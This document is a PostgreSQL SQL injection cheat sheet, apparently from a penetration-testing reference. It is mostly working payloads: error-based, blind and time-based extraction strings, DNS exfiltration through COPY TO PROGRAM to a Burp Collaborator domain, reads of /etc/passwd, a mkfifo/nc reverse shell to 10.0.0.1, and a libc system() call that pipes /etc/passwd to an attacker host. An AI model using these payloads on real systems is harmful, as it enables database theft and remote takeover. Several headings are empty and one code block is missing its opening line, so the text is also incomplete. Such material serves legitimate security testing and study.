PostgreSQL Injection

PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.

Summary

• PostgreSQL Comments
• PostgreSQL Enumeration
• PostgreSQL Methodology
• PostgreSQL Error Based
  • PostgreSQL XML Helpers
• PostgreSQL Blind
  • PostgreSQL Blind With Substring Equivalent
• PostgreSQL Time Based
• PostgreSQL Out of Band
• PostgreSQL Stacked Query
• PostgreSQL File Manipulation
  • PostgreSQL File Read
  • PostgreSQL File Write
• PostgreSQL Command Execution
  • Using COPY TO/FROM PROGRAM
  • Using libc.so.6
• PostgreSQL WAF Bypass
  • Alternative to Quotes
• PostgreSQL Privileges
  • PostgreSQL List Privileges
  • PostgreSQL Superuser Role
• References

PostgreSQL Comments

PostgreSQL Enumeration

PostgreSQL Methodology

PostgreSQL Error Based

CAST(chr(126)||VERSION()||chr(126) AS NUMERIC)
CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML Helpers

SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

SELECT database_to_xml(true,true,''); -- dump the current database to XML
SELECT database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

PostgreSQL Blind

PostgreSQL Blind With Substring Equivalent

Examples:

' and substr(version(),1,10) = 'PostgreSQL' and '1  -- TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1  -- FALSE

PostgreSQL Time Based

Identify Time Based

select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))

Database Dump Time Based

select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

Table Dump Time Based

select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1

Columns Dump Time Based

select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1

AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL Out of Band

Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as COPY, lo_export, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.

declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

PostgreSQL Stacked Query

Use a semi-colon “;” to add another query

SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--

PostgreSQL File Manipulation

PostgreSQL File Read

NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of 0fdc8495bff02684142a44ab3bc5b18a8ca1863a commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

• Using pg_read_file, pg_ls_dir

  select pg_ls_dir('./');
  select pg_read_file('PG_VERSION', 0, 200);

• Using COPY

  CREATE TABLE temp(t TEXT);
  COPY temp FROM '/etc/passwd';
  SELECT * FROM temp limit 1 offset 0;

• Using lo_import

  SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
  SELECT lo_get(16420); -- use the OID returned from the above
  SELECT * from pg_largeobject; -- or just get all the large objects and their data

PostgreSQL File Write

• Using COPY

  CREATE TABLE nc (t TEXT);
  INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash');
  SELECT * FROM nc;
  COPY nc(t) TO '/tmp/nc.sh';

• Using COPY (one-line)

  COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

• Using lo_from_bytea, lo_put and lo_export

  SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
  SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
  SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

PostgreSQL Command Execution

Using COPY TO/FROM PROGRAM

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with ‘pg_execute_server_program’ to pipe to and from an external program using COPY.

COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_DOMAIN_CALLBACK]';
COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_DOMAIN_CALLBACK]'

CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

Using libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

PostgreSQL WAF Bypass

Alternative to Quotes

PostgreSQL offers several ways to construct string values without using standard single-quoted literals. The CHR() function can generate individual characters from their numeric character codes, which can then be combined using the concatenation operator (||). PostgreSQL also supports dollar-quoted strings, available since version 8, allowing text to be enclosed between $$ delimiters without escaping embedded single quotes.

PostgreSQL Privileges

PostgreSQL List Privileges

Retrieve all table-level privileges for the current user, excluding tables in system schemas like pg_catalog and information_schema.

SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');

PostgreSQL Superuser Role

SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

References

• A Penetration Tester’s Guide to PostgreSQL - David Hayter - July 22, 2017
• Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - Leon Juranic - June 17, 2009
• Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - GreenWolf - March 20, 2019
• Postgres SQL Injection Cheat Sheet - @pentestmonkey - August 23, 2011
• PostgreSQL 9.x Remote Command Execution - dionach - October 26, 2017
• SQL Injection /webApp/oma_conf ctx parameter - Sergey Bobrov (bobrov) - December 8, 2016
• SQL Injection and Postgres - An Adventure to Eventual RCE - Denis Andzakovic - May 5, 2020